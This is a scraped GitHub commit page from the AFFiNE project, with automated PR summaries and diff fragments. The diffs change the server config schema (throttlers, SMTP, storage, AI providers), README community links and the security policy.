* **PR #14442** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Level-of-detail thumbnails for large images.
* Adaptive pacing for snapping, distribution and other alignment work.
* RAF coalescer utility to batch high-frequency updates.
* Operation timing utility to measure synchronous work.
* **Improvements**
* Batch group/ungroup reparenting that preserves element order and
selection.
* Coalesced panning and drag updates to reduce jitter.
* Connector/group indexing for more reliable updates, deletions and
sync.
* Throttled viewport refresh behavior.
* **Documentation**
* Docs added for RAF coalescer and measureOperation.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14440** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Style**
* Refined CSS styling rules in workspace detail pages for improved
layout rendering consistency.
* Enhanced editor container display handling during loading states to
ensure proper layout adjustments.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14438** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Chores**
* Refined PR trigger automation to run only on open/reopen/synchronize
events
* Split native CI into platform-specific builds (Linux, Windows, macOS)
for more reliable pipelines
* Added conditional Copilot test gating to run API/E2E tests only when
relevant
* Added conditional PR-title lint skip when edits don't change the title
* Improved test result uploads and artifact handling for gated flows
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14434** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Introduced rspack bundler as an alternative to webpack for optimized
builds.
* **Tests & Quality**
* Added comprehensive editor semantic tests covering markdown, hotkeys,
and slash-menu operations.
* Expanded CI cross-browser testing to Chromium, Firefox, and WebKit;
improved shape-rendering tests to account for zoom.
* **Bug Fixes**
* Corrected CSS overlay styling for development servers.
* Fixed TypeScript typings for build tooling.
* **Other**
* Document duplication now produces consistent "(n)" suffixes.
* French i18n completeness increased to 100%.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
ajout de definition
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Documentation**
* Enhanced French language support with improved grammar, gender
neutrality, and consistency across UI text.
* Added French translations for new AI-powered features.
* Refined French phrasing in prompts, tooltips, and messages for better
clarity and natural language flow.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-02-14 14:43:22 +08:00
2483 changed files with 175092 additions and 67276 deletions
"description":"The config for calendar job queue\n@default {\"concurrency\":4}",
"properties":{
"concurrency":{
"type":"number"
}
},
"default":{
"concurrency":4
}
},
"queues.doc":{
"type":"object",
"description":"The config for doc job queue\n@default {\"concurrency\":1}",
@@ -123,17 +135,17 @@
},
"throttlers.default":{
"type":"object",
"description":"The config for the default throttler.\n@default {\"ttl\":60,\"limit\":120}",
"description":"The config for the default throttler.\n@default {\"ttl\":60000,\"limit\":120}",
"default":{
"ttl":60,
"ttl":60000,
"limit":120
}
},
"throttlers.strict":{
"type":"object",
"description":"The config for the strict throttler.\n@default {\"ttl\":60,\"limit\":20}",
"description":"The config for the strict throttler.\n@default {\"ttl\":60000,\"limit\":20}",
"default":{
"ttl":60,
"ttl":60000,
"limit":20
}
}
@@ -163,6 +175,11 @@
"description":"Whether require email verification before accessing restricted resources(not implemented).\n@default true",
"default":true
},
"newAccountShareActionDelay":{
"type":"number",
"description":"Minimum account age in seconds before new accounts can invite members or create share links.\n@default 86400",
"default":86400
},
"passwordRequirements":{
"type":"object",
"description":"The password strength requirements when set new password.\n@default {\"min\":8,\"max\":32}",
@@ -197,8 +214,8 @@
"properties":{
"SMTP.name":{
"type":"string",
"description":"Name of the email server (e.g. your domain name)\n@default \"AFFiNE Server\"\n@environment `MAILER_SERVERNAME`",
"default":"AFFiNE Server"
"description":"Hostname used for SMTP HELO/EHLO (e.g. mail.example.com). Leave empty to use the system hostname.\n@default \"\"\n@environment `MAILER_SERVERNAME`",
"default":""
},
"SMTP.host":{
"type":"string",
@@ -222,7 +239,7 @@
},
"SMTP.sender":{
"type":"string",
"description":"Sender of all the emails (e.g. \"AFFiNE Self Hosted <noreply@example.com>\")\n@default \"AFFiNE Self Hosted <noreply@example.com>\"\n@environment `MAILER_SENDER`",
"description":"Sender of all the emails (e.g. \"AFFiNE Self Hosted <noreply@example.com>\")\n@default \"AFFiNE Self Hosted <noreply@example.com>\"\n@environment `MAILER_SENDER`",
"description":"Name of the fallback email server (e.g. your domain name)\n@default \"AFFiNE Server\"",
"default":"AFFiNE Server"
"description":"Hostname used for fallback SMTP HELO/EHLO (e.g. mail.example.com). Leave empty to use the system hostname.\n@default \"\"",
"default":""
},
"fallbackSMTP.host":{
"type":"string",
@@ -262,7 +279,7 @@
},
"fallbackSMTP.sender":{
"type":"string",
"description":"Sender of all the emails (e.g. \"AFFiNE Self Hosted <noreply@example.com>\")\n@default \"\"",
"description":"Sender of all the emails (e.g. \"AFFiNE Self Hosted <noreply@example.com>\")\n@default \"\"",
"default":""
},
"fallbackSMTP.ignoreTLS":{
@@ -288,6 +305,22 @@
}
}
},
"permission":{
"type":"object",
"description":"Configuration for permission module",
"properties":{
"readModel":{
"type":"string",
"description":"Permission data source for Rust evaluation\n@default \"projection\"\n@environment `AFFINE_PERMISSION_READ_MODEL`",
"default":"projection"
},
"fallbackLegacyLoader":{
"type":"boolean",
"description":"Fallback from projection loader to legacy loader when projection input loading fails\n@default false\n@environment `AFFINE_PERMISSION_FALLBACK_LEGACY_LOADER`",
"default":false
}
}
},
"storages":{
"type":"object",
"description":"Configuration for storages module",
@@ -341,7 +374,7 @@
"properties":{
"endpoint":{
"type":"string",
"description":"The S3 compatible endpoint. Example: \"https://s3.us-east-1.amazonaws.com\" or \"https://<account>.r2.cloudflarestorage.com\"."
"description":"The S3 compatible endpoint (used by aws-s3 provider). Optional; if omitted, endpoint is derived from region."
},
"region":{
"type":"string",
@@ -408,10 +441,6 @@
"type":"object",
"description":"The config for the S3 compatible storage provider.",
"properties":{
"endpoint":{
"type":"string",
"description":"The S3 compatible endpoint. Example: \"https://s3.us-east-1.amazonaws.com\" or \"https://<account>.r2.cloudflarestorage.com\"."
},
"region":{
"type":"string",
"description":"The region for the storage provider. Example: \"us-east-1\" or \"auto\" for R2."
@@ -461,6 +490,13 @@
"type":"string",
"description":"The account id for the cloudflare r2 storage provider."
},
"jurisdiction":{
"type":"string",
"enum":[
"eu"
],
"description":"Optional jurisdiction for the cloudflare r2 endpoint. Set to \"eu\" for EU buckets."
},
"usePresignedURL":{
"type":"object",
"description":"The presigned url config for the cloudflare r2 storage provider.",
@@ -536,7 +572,7 @@
"properties":{
"endpoint":{
"type":"string",
"description":"The S3 compatible endpoint. Example: \"https://s3.us-east-1.amazonaws.com\" or \"https://<account>.r2.cloudflarestorage.com\"."
"description":"The S3 compatible endpoint (used by aws-s3 provider). Optional; if omitted, endpoint is derived from region."
},
"region":{
"type":"string",
@@ -603,10 +639,6 @@
"type":"object",
"description":"The config for the S3 compatible storage provider.",
"properties":{
"endpoint":{
"type":"string",
"description":"The S3 compatible endpoint. Example: \"https://s3.us-east-1.amazonaws.com\" or \"https://<account>.r2.cloudflarestorage.com\"."
},
"region":{
"type":"string",
"description":"The region for the storage provider. Example: \"us-east-1\" or \"auto\" for R2."
@@ -656,6 +688,13 @@
"type":"string",
"description":"The account id for the cloudflare r2 storage provider."
},
"jurisdiction":{
"type":"string",
"enum":[
"eu"
],
"description":"Optional jurisdiction for the cloudflare r2 endpoint. Set to \"eu\" for EU buckets."
},
"usePresignedURL":{
"type":"object",
"description":"The presigned url config for the cloudflare r2 storage provider.",
"description":"Whether to enable the copilot plugin. <br> Document: <a href=\"https://docs.affine.pro/self-host-affine/administer/ai\" target=\"_blank\">https://docs.affine.pro/self-host-affine/administer/ai</a>\n@default false",
"default":false
},
"scenarios":{
"byok.enabled":{
"type":"boolean",
"description":"Whether to enable workspace BYOK.\n@default true",
"default":true
},
"byok.allowedProviders":{
"type":"array",
"description":"The allowlist for workspace BYOK providers.\n@default [\"openai\",\"anthropic\",\"gemini\",\"fal\"]",
"default":[
"openai",
"anthropic",
"gemini",
"fal"
]
},
"byok.allowCustomEndpoint":{
"type":"boolean",
"description":"Whether workspace BYOK custom endpoints are accepted.\n@default false",
"default":false
},
"providers.profiles":{
"type":"array",
"description":"The profile list for copilot providers.\n@default []",
"default":[]
},
"providers.defaults":{
"type":"object",
"description":"Use custom models in scenarios and override default settings.\n@default {\"override_enabled\":false,\"scenarios\":{\"audio_transcribing\":\"gemini-2.5-flash\",\"chat\":\"gemini-2.5-flash\",\"embedding\":\"gemini-embedding-001\",\"image\":\"gpt-image-1\",\"rerank\":\"gpt-4.1\",\"coding\":\"claude-sonnet-4-5@20250929\",\"complex_text_generation\":\"gpt-4o-2024-08-06\",\"quick_decision_making\":\"gpt-5-mini\",\"quick_text_generation\":\"gemini-2.5-flash\",\"polish_and_summarize\":\"gemini-2.5-flash\"}}",
"default":{
"override_enabled":false,
"scenarios":{
"audio_transcribing":"gemini-2.5-flash",
"chat":"gemini-2.5-flash",
"embedding":"gemini-embedding-001",
"image":"gpt-image-1",
"rerank":"gpt-4.1",
"coding":"claude-sonnet-4-5@20250929",
"complex_text_generation":"gpt-4o-2024-08-06",
"quick_decision_making":"gpt-5-mini",
"quick_text_generation":"gemini-2.5-flash",
"polish_and_summarize":"gemini-2.5-flash"
}
}
"description":"The default provider ids for model output types and global fallback.\n@default {}",
"default":{}
},
"providers.openai":{
"type":"object",
@@ -996,6 +1054,14 @@
"baseURL":"https://api.openai.com/v1"
}
},
"providers.cloudflareWorkersAi":{
"type":"object",
"description":"The config for the Cloudflare Workers AI provider.\n@default {\"apiToken\":\"\",\"accountId\":\"\"}",
"default":{
"apiToken":"",
"accountId":""
}
},
"providers.fal":{
"type":"object",
"description":"The config for the fal provider.\n@default {\"apiKey\":\"\"}",
@@ -1046,13 +1112,6 @@
},
"default":{}
},
"providers.perplexity":{
"type":"object",
"description":"The config for the perplexity provider.\n@default {\"apiKey\":\"\"}",
"default":{
"apiKey":""
}
},
"providers.anthropic":{
"type":"object",
"description":"The config for the anthropic provider.\n@default {\"apiKey\":\"\",\"baseURL\":\"https://api.anthropic.com/v1\"}",
@@ -1096,11 +1155,6 @@
},
"default":{}
},
"providers.morph":{
"type":"object",
"description":"The config for the morph provider.\n@default {}",
"default":{}
},
"unsplash":{
"type":"object",
"description":"The config for the unsplash key.\n@default {\"key\":\"\"}",
@@ -1159,7 +1213,7 @@
"properties":{
"endpoint":{
"type":"string",
"description":"The S3 compatible endpoint. Example: \"https://s3.us-east-1.amazonaws.com\" or \"https://<account>.r2.cloudflarestorage.com\"."
"description":"The S3 compatible endpoint (used by aws-s3 provider). Optional; if omitted, endpoint is derived from region."
},
"region":{
"type":"string",
@@ -1226,10 +1280,6 @@
"type":"object",
"description":"The config for the S3 compatible storage provider.",
"properties":{
"endpoint":{
"type":"string",
"description":"The S3 compatible endpoint. Example: \"https://s3.us-east-1.amazonaws.com\" or \"https://<account>.r2.cloudflarestorage.com\"."
},
"region":{
"type":"string",
"description":"The region for the storage provider. Example: \"us-east-1\" or \"auto\" for R2."
@@ -1279,6 +1329,13 @@
"type":"string",
"description":"The account id for the cloudflare r2 storage provider."
},
"jurisdiction":{
"type":"string",
"enum":[
"eu"
],
"description":"Optional jurisdiction for the cloudflare r2 endpoint. Set to \"eu\" for EU buckets."
},
"usePresignedURL":{
"type":"object",
"description":"The presigned url config for the cloudflare r2 storage provider.",
@@ -1353,22 +1410,6 @@
}
}
},
"customerIo":{
"type":"object",
"description":"Configuration for customerIo module",
| [Create a bug report](https://github.com/toeverything/AFFiNE/issues/new?assignees=&labels=bug%2Cproduct-review&template=BUG-REPORT.yml&title=TITLE) | [Submit a feature request](https://github.com/toeverything/AFFiNE/issues/new?assignees=&labels=feat%2Cproduct-review&template=FEATURE-REQUEST.yml&title=TITLE) | [Check GitHub Discussion](https://github.com/toeverything/AFFiNE/discussions) | [Visit the AFFiNE Community](https://community.affine.pro) |
| Something isn't working as expected | An idea for a new feature, or improvements | Discuss and ask questions | A place to ask, learn and engage with others |
| [Create a bug report](https://github.com/toeverything/AFFiNE/issues/new?assignees=&labels=bug%2Cproduct-review&template=BUG-REPORT.yml&title=TITLE) | [Submit a feature request](https://github.com/toeverything/AFFiNE/issues/new?assignees=&labels=feat%2Cproduct-review&template=FEATURE-REQUEST.yml&title=TITLE) | [Check GitHub Discussion](https://github.com/toeverything/AFFiNE/discussions) | [Visit the AFFiNE's Discord](https://affine.pro/redirect/discord) |
| Something isn't working as expected | An idea for a new feature, or improvements | Discuss and ask questions | A place to ask, learn and engage with others |
Calling all developers, testers, tech writers and more! Contributions of all types are more than welcome, you can read more in [docs/types-of-contributions.md](docs/types-of-contributions.md). If you are interested in contributing code, read our [docs/CONTRIBUTING.md](docs/CONTRIBUTING.md) and feel free to check out our GitHub issues to get stuck in to show us what you’re made of.
@@ -101,11 +101,9 @@ Calling all developers, testers, tech writers and more! Contributions of all typ
For **bug reports**, **feature requests** and other **suggestions** you can also [create a new issue](https://github.com/toeverything/AFFiNE/issues/new/choose) and choose the most appropriate template for your feedback.
For **translation** and **language support** you can visit our [i18n General Space](https://community.affine.pro/c/i18n-general).
For **translation** and **language support** you can visit our [Discord](https://affine.pro/redirect/discord).
Looking for **other ways to contribute** and wondering where to start? Check out the [AFFiNE Ambassador program](https://community.affine.pro/c/start-here/affine-ambassador), we work closely with passionate community members and provide them with a wide range of support and resources.
If you have questions, you are welcome to contact us. One of the best places to get more info and learn more is in the [AFFiNE Community](https://community.affine.pro) where you can engage with other like-minded individuals.
If you have questions, you are welcome to contact us. One of the best places to get more info and learn more is in the [Discord](https://affine.pro/redirect/discord) where you can engage with other like-minded individuals.
## Templates
@@ -182,20 +180,16 @@ Begin with Docker to deploy your own feature-rich, unrestricted version of AFFiN
[](https://template.run.claw.cloud/?openapp=system-fastdeploy%3FtemplateName%3Daffine)
## Hiring
Some amazing companies, including AFFiNE, are looking for developers! Are you interested in joining AFFiNE or its partners? Check out our [Discord channel](https://affine.pro/redirect/discord) for some of the latest jobs available.
## Feature Request
For feature requests, please see [community.affine.pro](https://community.affine.pro/c/feature-requests/).
For feature requests, please see [discussions](https://github.com/toeverything/AFFiNE/discussions/categories/ideas).
## Building
### Codespaces
From the GitHub repo main page, click the green "Code" button and select "Create codespace on master". This will open a new Codespace with the (supposedly auto-forked
@@ -23,4 +23,6 @@ We welcome you to provide us with bug reports via and email at [security@toevery
Since we are an open source project, we also welcome you to provide corresponding fix PRs, we will determine specific rewards based on the evaluation results.
Due to limited resources, we do not accept and will not review any AI-generated security reports.
If the vulnerability is caused by a library we depend on, we encourage you to submit a security report to the corresponding dependent library at the same time to benefit more users.
Some files were not shown because too many files have changed in this diff
Show More
Reference in New Issue
Block a user
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.